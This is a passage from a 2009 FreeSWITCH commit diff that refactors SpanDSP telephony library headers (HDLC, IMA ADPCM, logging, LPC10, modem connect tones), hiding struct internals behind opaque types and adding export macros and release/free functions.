-    /*! \brief The number of too short and too long frames received. */
-    unsigned long int rx_length_errors;
-    /*! \brief The number of HDLC aborts received. */
-    unsigned long int rx_aborts;
-} hdlc_rx_state_t;
-
 /*!
     HDLC received data statistics.
  */
@@ -125,52 +76,8 @@
     HDLC transmit descriptor. This contains all the state information for an
     HDLC transmitter.
  */
-typedef struct
-{
-    /*! 2 for CRC-16, 4 for CRC-32 */
-    int crc_bytes;
-    /*! \brief The callback routine called to indicate transmit underflow. */
-    hdlc_underflow_handler_t underflow_handler;
-    /*! \brief An opaque parameter passed to the callback routine. */
-    void *user_data;
-    /*! \brief The minimum flag octets to insert between frames. */
-    int inter_frame_flags;
-    /*! \brief TRUE if frame creation works in progressive mode. */
-    int progressive;
-    /*! \brief Maximum permitted frame length. */
-    size_t max_frame_len;
+typedef struct hdlc_tx_state_s hdlc_tx_state_t;
 
-    /*! \brief The stuffed bit stream being created. */
-    uint32_t octets_in_progress;
-    /*! \brief The number of bits currently in octets_in_progress. */
-    int num_bits;
-    /*! \brief The currently rotated state of the flag octet. */
-    int idle_octet;
-    /*! \brief The number of flag octets to send for a timed burst of flags. */
-    int flag_octets;
-    /*! \brief The number of abort octets to send for a timed burst of aborts. */
-    int abort_octets;
-    /*! \brief TRUE if the next underflow of timed flag octets should be reported */
-    int report_flag_underflow;
-
-    /*! \brief The current message being transmitted, with its CRC attached. */
-    uint8_t buffer[HDLC_MAXFRAME_LEN + 4];
-    /*! \brief The length of the message in the buffer. */
-    size_t len;
-    /*! \brief The current send position within the buffer. */
-    int pos;
-    /*! \brief The running CRC, as data fills the frame buffer. */
-    uint32_t crc;
-
-    /*! \brief The current byte being broken into bits for transmission. */
-    int byte;
-    /*! \brief The number of bits remaining in byte. */
-    int bits;
-    
-    /*! \brief TRUE if transmission should end on buffer underflow .*/
-    int tx_end;
-} hdlc_tx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -187,51 +94,80 @@
     \param user_data An opaque parameter for the callback routine.
     \return A pointer to the HDLC receiver context.
 */
-hdlc_rx_state_t *hdlc_rx_init(hdlc_rx_state_t *s,
-                              int crc32,
-                              int report_bad_frames,
-                              int framing_ok_threshold,
-                              hdlc_frame_handler_t handler,
-                              void *user_data);
+SPAN_DECLARE(hdlc_rx_state_t *) hdlc_rx_init(hdlc_rx_state_t *s,
+                                             int crc32,
+                                             int report_bad_frames,
+                                             int framing_ok_threshold,
+                                             hdlc_frame_handler_t handler,
+                                             void *user_data);
 
+/*! Change the put_bit function associated with an HDLC receiver context.
+    \brief Change the put_bit function associated with an HDLC receiver context.
+    \param s A pointer to an HDLC receiver context.
+    \param handler The function to be called when a good HDLC frame is received.
+    \param user_data An opaque parameter for the callback routine.
+*/
+SPAN_DECLARE(void) hdlc_rx_set_frame_handler(hdlc_rx_state_t *s, hdlc_frame_handler_t handler, void *user_data);
+
+/*! Change the status report function associated with an HDLC receiver context.
+    \brief Change the status report function associated with an HDLC receiver context.
+    \param s A pointer to an HDLC receiver context.
+    \param handler The callback routine used to report status changes.
+    \param user_data An opaque parameter for the callback routine.
+*/
+SPAN_DECLARE(void) hdlc_rx_set_status_handler(hdlc_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
+
+/*! Release an HDLC receiver context.
+    \brief Release an HDLC receiver context.
+    \param s A pointer to an HDLC receiver context.
+    \return 0 for OK */
+SPAN_DECLARE(int) hdlc_rx_release(hdlc_rx_state_t *s);
+
+/*! Free an HDLC receiver context.
+    \brief Free an HDLC receiver context.
+    \param s A pointer to an HDLC receiver context.
+    \return 0 for OK */
+SPAN_DECLARE(int) hdlc_rx_free(hdlc_rx_state_t *s);
+
 /*! \brief Set the maximum frame length for an HDLC receiver context.
     \param s A pointer to an HDLC receiver context.
     \param max_len The maximum permitted length of a frame.
 */
-void hdlc_rx_set_max_frame_len(hdlc_rx_state_t *s, size_t max_len);
+SPAN_DECLARE(void) hdlc_rx_set_max_frame_len(hdlc_rx_state_t *s, size_t max_len);
 
 /*! \brief Set the octet counting report interval.
     \param s A pointer to an HDLC receiver context.
     \param interval The interval, in octets.
 */
-void hdlc_rx_set_octet_counting_report_interval(hdlc_rx_state_t *s, int interval);
+SPAN_DECLARE(void) hdlc_rx_set_octet_counting_report_interval(hdlc_rx_state_t *s,
+                                                              int interval);
 
 /*! \brief Get the current receive statistics.
     \param s A pointer to an HDLC receiver context.
     \param t A pointer to the buffer for the statistics.
     \return 0 for OK, else -1.
 */
-int hdlc_rx_get_stats(hdlc_rx_state_t *s,
-                      hdlc_rx_stats_t *t);
+SPAN_DECLARE(int) hdlc_rx_get_stats(hdlc_rx_state_t *s,
+                                    hdlc_rx_stats_t *t);
 
 /*! \brief Put a single bit of data to an HDLC receiver.
     \param s A pointer to an HDLC receiver context.
     \param new_bit The bit.
 */
-void hdlc_rx_put_bit(hdlc_rx_state_t *s, int new_bit);
+SPAN_DECLARE_NONSTD(void) hdlc_rx_put_bit(hdlc_rx_state_t *s, int new_bit);
 
 /*! \brief Put a byte of data to an HDLC receiver.
     \param s A pointer to an HDLC receiver context.
     \param new_byte The byte of data.
 */
-void hdlc_rx_put_byte(hdlc_rx_state_t *s, int new_byte);
+SPAN_DECLARE_NONSTD(void) hdlc_rx_put_byte(hdlc_rx_state_t *s, int new_byte);
 
 /*! \brief Put a series of bytes of data to an HDLC receiver.
     \param s A pointer to an HDLC receiver context.
     \param buf The buffer of data.
     \param len The length of the data in the buffer.
 */
-void hdlc_rx_put(hdlc_rx_state_t *s, const uint8_t buf[], int len);
+SPAN_DECLARE_NONSTD(void) hdlc_rx_put(hdlc_rx_state_t *s, const uint8_t buf[], int len);
 
 /*! \brief Initialise an HDLC transmitter context.
     \param s A pointer to an HDLC transmitter context.
@@ -242,18 +178,22 @@
     \param user_data An opaque parameter for the callback routine.
     \return A pointer to the HDLC transmitter context.
 */
-hdlc_tx_state_t *hdlc_tx_init(hdlc_tx_state_t *s,
-                              int crc32,
-                              int inter_frame_flags,
-                              int progressive,
-                              hdlc_underflow_handler_t handler,
-                              void *user_data);
+SPAN_DECLARE(hdlc_tx_state_t *) hdlc_tx_init(hdlc_tx_state_t *s,
+                                             int crc32,
+                                             int inter_frame_flags,
+                                             int progressive,
+                                             hdlc_underflow_handler_t handler,
+                                             void *user_data);
 
+SPAN_DECLARE(int) hdlc_tx_release(hdlc_tx_state_t *s);
+
+SPAN_DECLARE(int) hdlc_tx_free(hdlc_tx_state_t *s);
+
 /*! \brief Set the maximum frame length for an HDLC transmitter context.
     \param s A pointer to an HDLC transmitter context.
     \param max_len The maximum length.
 */
-void hdlc_tx_set_max_frame_len(hdlc_tx_state_t *s, size_t max_len);
+SPAN_DECLARE(void) hdlc_tx_set_max_frame_len(hdlc_tx_state_t *s, size_t max_len);
 
 /*! \brief Transmit a frame.
     \param s A pointer to an HDLC transmitter context.
@@ -261,13 +201,13 @@
     \param len The length of the frame to be transmitted.
     \return 0 if the frame was accepted for transmission, else -1.
 */
-int hdlc_tx_frame(hdlc_tx_state_t *s, const uint8_t *frame, size_t len);
+SPAN_DECLARE(int) hdlc_tx_frame(hdlc_tx_state_t *s, const uint8_t *frame, size_t len);
 
 /*! \brief Corrupt the frame currently being transmitted, by giving it the wrong CRC.
     \param s A pointer to an HDLC transmitter context.
     \return 0 if the frame was corrupted, else -1.
 */
-int hdlc_tx_corrupt_frame(hdlc_tx_state_t *s);
+SPAN_DECLARE(int) hdlc_tx_corrupt_frame(hdlc_tx_state_t *s);
 
 /*! \brief Transmit a specified quantity of flag octets, typically as a preamble.
     \param s A pointer to an HDLC transmitter context.
@@ -276,25 +216,25 @@
            drained.
     \return 0 if the flags were accepted for transmission, else -1.
 */
-int hdlc_tx_flags(hdlc_tx_state_t *s, int len);
+SPAN_DECLARE(int) hdlc_tx_flags(hdlc_tx_state_t *s, int len);
 
 /*! \brief Send an abort.
     \param s A pointer to an HDLC transmitter context.
     \return 0 if the frame was aborted, else -1.
 */
-int hdlc_tx_abort(hdlc_tx_state_t *s);
+SPAN_DECLARE(int) hdlc_tx_abort(hdlc_tx_state_t *s);
 
 /*! \brief Get the next bit for transmission.
     \param s A pointer to an HDLC transmitter context.
     \return The next bit for transmission.
 */
-int hdlc_tx_get_bit(hdlc_tx_state_t *s);
+SPAN_DECLARE_NONSTD(int) hdlc_tx_get_bit(hdlc_tx_state_t *s);
 
 /*! \brief Get the next byte for transmission.
     \param s A pointer to an HDLC transmitter context.
     \return The next byte for transmission.
 */
-int hdlc_tx_get_byte(hdlc_tx_state_t *s);
+SPAN_DECLARE_NONSTD(int) hdlc_tx_get_byte(hdlc_tx_state_t *s);
 
 /*! \brief Get the next sequence of bytes for transmission.
     \param s A pointer to an HDLC transmitter context.
@@ -302,7 +242,7 @@
     \param max_len The number of bytes to get.
     \return The number of bytes actually got.
 */
-int hdlc_tx_get(hdlc_tx_state_t *s, uint8_t buf[], size_t max_len);
+SPAN_DECLARE_NONSTD(int) hdlc_tx_get(hdlc_tx_state_t *s, uint8_t buf[], size_t max_len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/ima_adpcm.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/ima_adpcm.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/ima_adpcm.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,8 +1,8 @@
 /*
  * SpanDSP - a series of DSP components for telephony
  *
- * imaadpcm.c - Conversion routines between linear 16 bit PCM data and
- *		        IMA/DVI/Intel ADPCM format.
+ * ima_adpcm.c - Conversion routines between linear 16 bit PCM data and
+ *		         IMA/DVI/Intel ADPCM format.
  *
  * Written by Steve Underwood <steveu@coppice.org>
  *
@@ -26,7 +26,7 @@
  * Based on a bit from here, a bit from there, eye of toad,
  * ear of bat, etc - plus, of course, my own 2 cents.
  *
- * $Id: ima_adpcm.h,v 1.20 2008/04/17 14:27:00 steveu Exp $
+ * $Id: ima_adpcm.h,v 1.25 2009/04/11 18:11:19 steveu Exp $
  */
 
 /*! \file */
@@ -59,19 +59,7 @@
     a single working instance of the IMA ADPCM converter. This is used for
     either linear to ADPCM or ADPCM to linear conversion.
 */
-typedef struct
-{
-    int variant;
-    /*! \brief The size of a chunk, in samples. */
-    int chunk_size;
-    /*! \brief The last state of the ADPCM algorithm. */
-    int last;
-    /*! \brief Current index into the step size table. */
-    int step_index;
-    /*! \brief The current IMA code byte in progress. */
-    uint16_t ima_byte;
-    int bits;
-} ima_adpcm_state_t;
+typedef struct ima_adpcm_state_s ima_adpcm_state_t;
 
 #if defined(__cplusplus)
 extern "C"
@@ -79,18 +67,25 @@
 #endif
 
 /*! Initialise an IMA ADPCM encode or decode context.
-    \param s The IMA ADPCM context
-    \param variant ???
+    \param s The IMA ADPCM context.
+    \param variant IMA_ADPCM_IMA4, IMA_ADPCM_DVI4, or IMA_ADPCM_VDVI.
     \param chunk_size The size of a chunk, in samples. A chunk size of
            zero sample samples means treat each encode or decode operation
            as a chunk.
     \return A pointer to the IMA ADPCM context, or NULL for error. */
-ima_adpcm_state_t *ima_adpcm_init(ima_adpcm_state_t *s, int variant, int chunk_size);
+SPAN_DECLARE(ima_adpcm_state_t *) ima_adpcm_init(ima_adpcm_state_t *s,
+                                                 int variant,
+                                                 int chunk_size);
 
+/*! Release an IMA ADPCM encode or decode context.
+    \param s The IMA ADPCM context.
+    \return 0 for OK. */
+SPAN_DECLARE(int) ima_adpcm_release(ima_adpcm_state_t *s);
+
 /*! Free an IMA ADPCM encode or decode context.
     \param s The IMA ADPCM context.
     \return 0 for OK. */
-int ima_adpcm_release(ima_adpcm_state_t *s);
+SPAN_DECLARE(int) ima_adpcm_free(ima_adpcm_state_t *s);
 
 /*! Encode a buffer of linear PCM data to IMA ADPCM.
     \param s The IMA ADPCM context.
@@ -98,21 +93,21 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of bytes of IMA ADPCM data produced. */
-int ima_adpcm_encode(ima_adpcm_state_t *s,
-                     uint8_t ima_data[],
-                     const int16_t amp[],
-                     int len);
+SPAN_DECLARE(int) ima_adpcm_encode(ima_adpcm_state_t *s,
+                                   uint8_t ima_data[],
+                                   const int16_t amp[],
+                                   int len);
 
 /*! Decode a buffer of IMA ADPCM data to linear PCM.
     \param s The IMA ADPCM context.
     \param amp The audio sample buffer.
-    \param ima_data
-    \param ima_bytes
+    \param ima_data The IMA ADPCM data
+    \param ima_bytes The number of bytes of IMA ADPCM data
     \return The number of samples returned. */
-int ima_adpcm_decode(ima_adpcm_state_t *s,
-                     int16_t amp[],
-                     const uint8_t ima_data[],
-                     int ima_bytes);
+SPAN_DECLARE(int) ima_adpcm_decode(ima_adpcm_state_t *s,
+                                   int16_t amp[],
+                                   const uint8_t ima_data[],
+                                   int ima_bytes);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/logging.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/logging.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/logging.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: logging.h,v 1.16 2008/05/05 11:25:01 steveu Exp $
+ * $Id: logging.h,v 1.20 2009/02/10 17:44:18 steveu Exp $
  */
 
 /*! \file */
@@ -74,18 +74,8 @@
     Logging descriptor. This defines the working state for a single instance of
     the logging facility for spandsp.
 */
-typedef struct
-{
-    int level;
-    int samples_per_second;
-    int64_t elapsed_samples;
-    const char *tag;
-    const char *protocol;
+typedef struct logging_state_s logging_state_t;
 
-    message_handler_func_t span_message;
-    error_handler_func_t span_error;
-} logging_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -97,7 +87,7 @@
     \param level The severity level to be tested.
     \return TRUE if logging is enable, else FALSE.
 */
-int span_log_test(logging_state_t *s, int level);
+SPAN_DECLARE(int) span_log_test(logging_state_t *s, int level);
 
 /*! Generate a log entry.
     \brief Generate a log entry.
@@ -106,7 +96,7 @@
     \param format ???
     \return 0 if no output generated, else 1.
 */
-int span_log(logging_state_t *s, int level, const char *format, ...);
+SPAN_DECLARE(int) span_log(logging_state_t *s, int level, const char *format, ...);
 
 /*! Generate a log entry displaying the contents of a buffer.
     \brief Generate a log entry displaying the contents of a buffer
@@ -117,28 +107,32 @@
     \param len The length of buf.
     \return 0 if no output generated, else 1.
 */
-int span_log_buf(logging_state_t *s, int level, const char *tag, const uint8_t *buf, int len);
+SPAN_DECLARE(int) span_log_buf(logging_state_t *s, int level, const char *tag, const uint8_t *buf, int len);
 
-int span_log_init(logging_state_t *s, int level, const char *tag);
+SPAN_DECLARE(int) span_log_set_level(logging_state_t *s, int level);
 
-int span_log_set_level(logging_state_t *s, int level);
+SPAN_DECLARE(int) span_log_set_tag(logging_state_t *s, const char *tag);
 
-int span_log_set_tag(logging_state_t *s, const char *tag);
+SPAN_DECLARE(int) span_log_set_protocol(logging_state_t *s, const char *protocol);
 
-int span_log_set_protocol(logging_state_t *s, const char *protocol);
+SPAN_DECLARE(int) span_log_set_sample_rate(logging_state_t *s, int samples_per_second);
 
-int span_log_set_sample_rate(logging_state_t *s, int samples_per_second);
+SPAN_DECLARE(int) span_log_bump_samples(logging_state_t *s, int samples);
 
-int span_log_bump_samples(logging_state_t *s, int samples);
+SPAN_DECLARE(void) span_log_set_message_handler(logging_state_t *s, message_handler_func_t func);
 
-void span_log_set_message_handler(logging_state_t *s, message_handler_func_t func);
+SPAN_DECLARE(void) span_log_set_error_handler(logging_state_t *s, error_handler_func_t func);
 
-void span_log_set_error_handler(logging_state_t *s, error_handler_func_t func);
+SPAN_DECLARE(void) span_set_message_handler(message_handler_func_t func);
 
-void span_set_message_handler(message_handler_func_t func);
+SPAN_DECLARE(void) span_set_error_handler(error_handler_func_t func);
 
-void span_set_error_handler(error_handler_func_t func);
+SPAN_DECLARE(logging_state_t *) span_log_init(logging_state_t *s, int level, const char *tag);
 
+SPAN_DECLARE(int) span_log_release(logging_state_t *s);
+
+SPAN_DECLARE(int) span_log_free(logging_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/lpc10.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/lpc10.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/lpc10.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: lpc10.h,v 1.17 2008/04/17 14:27:00 steveu Exp $
+ * $Id: lpc10.h,v 1.22 2009/04/11 18:11:19 steveu Exp $
  */
 
 #if !defined(_SPANDSP_LPC10_H_)
@@ -48,8 +48,11 @@
 */
 typedef struct
 {
+    /*! Pitch */
     int32_t ipitch;
+    /*! Energy */
     int32_t irms;
+    /*! Reflection coefficients */
     int32_t irc[10];
 } lpc10_frame_t;
 
@@ -57,116 +60,14 @@
     LPC10 codec encoder state descriptor. This defines the state of
     a single working instance of the LPC10 encoder.
 */
-typedef struct
-{
-    int error_correction;
+typedef struct lpc10_encode_state_s lpc10_encode_state_t;
 
-    /* State used only by function high_pass_100hz */
-    float z11;
-    float z21;
-    float z12;
-    float z22;
-    
-    /* State used by function lpc10_analyse */
-    float inbuf[LPC10_SAMPLES_PER_FRAME*3];
-    float pebuf[LPC10_SAMPLES_PER_FRAME*3];
-    float lpbuf[696];
-    float ivbuf[312];
-    float bias;
-    int32_t osbuf[10];      /* No initial value necessary */
-    int32_t osptr;          /* Initial value 1 */
-    int32_t obound[3];
-    int32_t vwin[3][2];     /* Initial value vwin[2][0] = 307; vwin[2][1] = 462; */
-    int32_t awin[3][2];     /* Initial value awin[2][0] = 307; awin[2][1] = 462; */
-    int32_t voibuf[4][2];
-    float rmsbuf[3];
-    float rcbuf[3][10];
-    float zpre;
-
-    /* State used by function onset */
-    float n;
-    float d__;          /* Initial value 1.0f */
-    float fpc;          /* No initial value necessary */
-    float l2buf[16];
-    float l2sum1;
-    int32_t l2ptr1;     /* Initial value 1 */
-    int32_t l2ptr2;     /* Initial value 9 */
-    int32_t lasti;      /* No initial value necessary */
-    int hyst;           /* Initial value FALSE */
-
-    /* State used by function lpc10_voicing */
-    float dither;       /* Initial value 20.0f */
-    float snr;
-    float maxmin;
-    float voice[3][2];  /* Initial value is probably unnecessary */
-    int32_t lbve;
-    int32_t lbue;
-    int32_t fbve;
-    int32_t fbue;
-    int32_t ofbue;
-    int32_t sfbue;
-    int32_t olbue;
-    int32_t slbue;
-
-    /* State used by function dynamic_pitch_tracking */
-    float s[60];
-    int32_t p[2][60];
-    int32_t ipoint;
-    float alphax;
-
-    /* State used by function lpc10_pack */
-    int32_t isync;
-} lpc10_encode_state_t;
-
 /*!
     LPC10 codec decoder state descriptor. This defines the state of
     a single working instance of the LPC10 decoder.
 */
-typedef struct
-{
-    int error_correction;
+typedef struct lpc10_decode_state_s lpc10_decode_state_t;
 
-    /* State used by function decode */
-    int32_t iptold;     /* Initial value 60 */
-    int first;          /* Initial value TRUE */
-    int32_t ivp2h;
-    int32_t iovoic;
-    int32_t iavgp;      /* Initial value 60 */
-    int32_t erate;
-    int32_t drc[10][3];
-    int32_t dpit[3];
-    int32_t drms[3];
-
-    /* State used by function synths */
-    float buf[LPC10_SAMPLES_PER_FRAME*2];
-    int32_t buflen;     /* Initial value LPC10_SAMPLES_PER_FRAME */
-
-    /* State used by function pitsyn */
-    int32_t ivoico;     /* No initial value necessary as long as first_pitsyn is initially TRUE_ */
-    int32_t ipito;      /* No initial value necessary as long as first_pitsyn is initially TRUE_ */
-    float rmso;         /* Initial value 1.0f */
-    float rco[10];      /* No initial value necessary as long as first_pitsyn is initially TRUE_ */
-    int32_t jsamp;      /* Nno initial value necessary as long as first_pitsyn is initially TRUE_ */
-    int first_pitsyn;   /* Initial value TRUE */
-
-    /* State used by function bsynz */
-    int32_t ipo;
-    float exc[166];
-    float exc2[166];
-    float lpi[3];
-    float hpi[3];
-    float rmso_bsynz;
-
-    /* State used by function random */
-    int32_t j;
-    int32_t k;
-    int16_t y[5];
-
-    /* State used by function deemp */
-    float dei[2];
-    float deo[3];
-} lpc10_decode_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -176,10 +77,12 @@
     \param s The LPC10e context
     \param error_correction ???
     \return A pointer to the LPC10e context, or NULL for error. */
-lpc10_encode_state_t *lpc10_encode_init(lpc10_encode_state_t *s, int error_correction);
+SPAN_DECLARE(lpc10_encode_state_t *) lpc10_encode_init(lpc10_encode_state_t *s, int error_correction);
 
-int lpc10_encode_release(lpc10_encode_state_t *s);
+SPAN_DECLARE(int) lpc10_encode_release(lpc10_encode_state_t *s);
 
+SPAN_DECLARE(int) lpc10_encode_free(lpc10_encode_state_t *s);
+
 /*! Encode a buffer of linear PCM data to LPC10e.
     \param s The LPC10e context.
     \param ima_data The LPC10e data produced.
@@ -187,16 +90,18 @@
     \param len The number of samples in the buffer. This must be a multiple of 180, as
            this is the number of samples on a frame.
     \return The number of bytes of LPC10e data produced. */
-int lpc10_encode(lpc10_encode_state_t *s, uint8_t code[], const int16_t amp[], int len);
+SPAN_DECLARE(int) lpc10_encode(lpc10_encode_state_t *s, uint8_t code[], const int16_t amp[], int len);
 
 /*! Initialise an LPC10e decode context.
     \param s The LPC10e context
     \param error_correction ???
     \return A pointer to the LPC10e context, or NULL for error. */
-lpc10_decode_state_t *lpc10_decode_init(lpc10_decode_state_t *st, int error_correction);
+SPAN_DECLARE(lpc10_decode_state_t *) lpc10_decode_init(lpc10_decode_state_t *st, int error_correction);
 
-int lpc10_decode_release(lpc10_decode_state_t *s);
+SPAN_DECLARE(int) lpc10_decode_release(lpc10_decode_state_t *s);
 
+SPAN_DECLARE(int) lpc10_decode_free(lpc10_decode_state_t *s);
+
 /*! Decode a buffer of LPC10e data to linear PCM.
     \param s The LPC10e context.
     \param amp The audio sample buffer.
@@ -204,7 +109,7 @@
     \param len The number of bytes of LPC10e data to be decoded. This must be a multiple of 7,
            as each frame is packed into 7 bytes.
     \return The number of samples returned. */
-int lpc10_decode(lpc10_decode_state_t *s, int16_t amp[], const uint8_t code[], int len);
+SPAN_DECLARE(int) lpc10_decode(lpc10_decode_state_t *s, int16_t amp[], const uint8_t code[], int len);
 
 
 #if defined(__cplusplus)

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/modem_connect_tones.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/modem_connect_tones.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/modem_connect_tones.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,7 +2,8 @@
  * SpanDSP - a series of DSP components for telephony
  *
  * modem_connect_tones.c - Generation and detection of tones
- * associated with modems calling and answering calls.
+ *                         associated with modems calling and
+ *                         answering calls.
  *
  * Written by Steve Underwood <steveu@coppice.org>
  *
@@ -23,7 +24,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modem_connect_tones.h,v 1.18 2008/08/10 03:42:38 steveu Exp $
+ * $Id: modem_connect_tones.h,v 1.24 2009/06/02 16:03:56 steveu Exp $
  */
  
 /*! \file */
@@ -71,8 +72,7 @@
     /*! \brief The ANSam with phase reversals tone is a version of ANS_PR with 20% of 15Hz+-0.1Hz AM
                modulation, as per V.8 */
     MODEM_CONNECT_TONES_ANSAM_PR = 5,
-    /*! \brief FAX preamble in a string of V.21 HDLC flag octets. This is only valid as a result of tone
-               detection. It should not be specified as a tone type to transmit or receive. */
+    /*! \brief FAX preamble in a string of V.21 HDLC flag octets. */
     MODEM_CONNECT_TONES_FAX_PREAMBLE = 6,
     /*! \brief CED tone is the same as ANS tone. FAX preamble in a string of V.21 HDLC flag octets.
                This is only valid as a tone type to receive. It is never reported as a detected tone
@@ -87,66 +87,14 @@
     Modem connect tones generator descriptor. This defines the state
     of a single working instance of the tone generator.
 */
-typedef struct
-{
-    int tone_type;
+typedef struct modem_connect_tones_tx_state_s modem_connect_tones_tx_state_t;
 
-    int32_t tone_phase_rate;
-    uint32_t tone_phase;
-    int level;
-    /*! \brief Countdown to the next phase hop */
-    int hop_timer;
-    /*! \brief Maximum duration timer */
-    int duration_timer;
-    uint32_t mod_phase;
-    int32_t mod_phase_rate;
-    int mod_level;
-} modem_connect_tones_tx_state_t;
-
 /*!
     Modem connect tones receiver descriptor. This defines the state
     of a single working instance of the tone detector.
 */
-typedef struct
-{
-    /*! \brief The tone type being detected. */
-    int tone_type;
-    /*! \brief Callback routine, using to report detection of the tone. */
-    tone_report_func_t tone_callback;
-    /*! \brief An opaque pointer passed to tone_callback. */
-    void *callback_data;
+typedef struct modem_connect_tones_rx_state_s modem_connect_tones_rx_state_t;
 
-    /*! \brief The notch filter state. */
-    float z1;
-    float z2;
-    /*! \brief The in notch power estimate */
-    int notch_level;
-    /*! \brief The total channel power estimate */
-    int channel_level;
-    /*! \brief Sample counter for the small chunks of samples, after which a test is conducted. */
-    int chunk_remainder;
-    /*! \brief TRUE is the tone is currently confirmed present in the audio. */
-    int tone_present;
-    /*! \brief */
-    int tone_on;
-    /*! \brief A millisecond counter, to time the duration of tone sections. */
-    int tone_cycle_duration;
-    /*! \brief A count of the number of good cycles of tone reversal seen. */
-    int good_cycles;
-    /*! \brief TRUE if the tone has been seen since the last time the user tested for it */
-    int hit;
-    /*! \brief A V.21 FSK modem context used when searching for FAX preamble. */
-    fsk_rx_state_t v21rx;
-    /*! \brief The raw (stuffed) bit stream buffer. */
-    unsigned int raw_bit_stream;
-    /*! \brief The current number of bits in the octet in progress. */
-    int num_bits;
-    /*! \brief Number of consecutive flags seen so far. */
-    int flags_seen;
-    /*! \brief TRUE if framing OK has been announced. */
-    int framing_ok_announced;
-} modem_connect_tones_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -155,14 +103,20 @@
 /*! \brief Initialise an instance of the modem connect tones generator.
     \param s The context.
 */
-modem_connect_tones_tx_state_t *modem_connect_tones_tx_init(modem_connect_tones_tx_state_t *s,
-                                                            int tone_type);
+SPAN_DECLARE(modem_connect_tones_tx_state_t *) modem_connect_tones_tx_init(modem_connect_tones_tx_state_t *s,
+                                                                           int tone_type);
 
+/*! \brief Release an instance of the modem connect tones generator.
+    \param s The context.
+    \return 0 for OK, else -1.
+*/
+SPAN_DECLARE(int) modem_connect_tones_tx_release(modem_connect_tones_tx_state_t *s);
+
 /*! \brief Free an instance of the modem connect tones generator.
     \param s The context.
     \return 0 for OK, else -1.
 */
-int modem_connect_tones_tx_free(modem_connect_tones_tx_state_t *s);
+SPAN_DECLARE(int) modem_connect_tones_tx_free(modem_connect_tones_tx_state_t *s);
 
 /*! \brief Generate a block of modem connect tones samples.
     \param s The context.
@@ -170,9 +124,9 @@
     \param len The number of samples to generate.
     \return The number of samples generated.
 */
-int modem_connect_tones_tx(modem_connect_tones_tx_state_t *s,
-                           int16_t amp[],
-                           int len);
+SPAN_DECLARE_NONSTD(int) modem_connect_tones_tx(modem_connect_tones_tx_state_t *s,
+                                                int16_t amp[],
+                                                int len);
 
 /*! \brief Process a block of samples through an instance of the modem connect
            tones detector.
@@ -181,15 +135,15 @@
     \param len The number of samples in the array.
     \return The number of unprocessed samples.
 */
-int modem_connect_tones_rx(modem_connect_tones_rx_state_t *s,
-                           const int16_t amp[],
-                           int len);
+SPAN_DECLARE_NONSTD(int) modem_connect_tones_rx(modem_connect_tones_rx_state_t *s,
+                                                const int16_t amp[],
+                                                int len);
                              
 /*! \brief Test if a modem_connect tone has been detected.
     \param s The context.
     \return TRUE if tone is detected, else FALSE.
 */
-int modem_connect_tones_rx_get(modem_connect_tones_rx_state_t *s);
+SPAN_DECLARE(int) modem_connect_tones_rx_get(modem_connect_tones_rx_state_t *s);
 
 /*! \brief Initialise an instance of the modem connect tones detector.
     \param s The context.
@@ -198,17 +152,22 @@
     \param user_data An opaque pointer passed to the callback routine,
     \return A pointer to the context.
 */
-modem_connect_tones_rx_state_t *modem_connect_tones_rx_init(modem_connect_tones_rx_state_t *s,
-                                                            int tone_type,
-                                                            tone_report_func_t tone_callback,
-                                                            void *user_data);
+SPAN_DECLARE(modem_connect_tones_rx_state_t *) modem_connect_tones_rx_init(modem_connect_tones_rx_state_t *s,
+                                                                           int tone_type,
+                                                                           tone_report_func_t tone_callback,
+                                                                           void *user_data);
 
+/*! \brief Release an instance of the modem connect tones detector.
+    \param s The context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) modem_connect_tones_rx_release(modem_connect_tones_rx_state_t *s);
+
 /*! \brief Free an instance of the modem connect tones detector.
     \param s The context.
     \return 0 for OK, else -1. */
-int modem_connect_tones_rx_free(modem_connect_tones_rx_state_t *s);
+SPAN_DECLARE(int) modem_connect_tones_rx_free(modem_connect_tones_rx_state_t *s);
 
-const char *modem_connect_tone_to_str(int tone);
+SPAN_DECLARE(const char *) modem_connect_tone_to_str(int tone);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/modem_echo.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/modem_echo.h	2009-08-09 05:55:48 UTC (rev 14471)
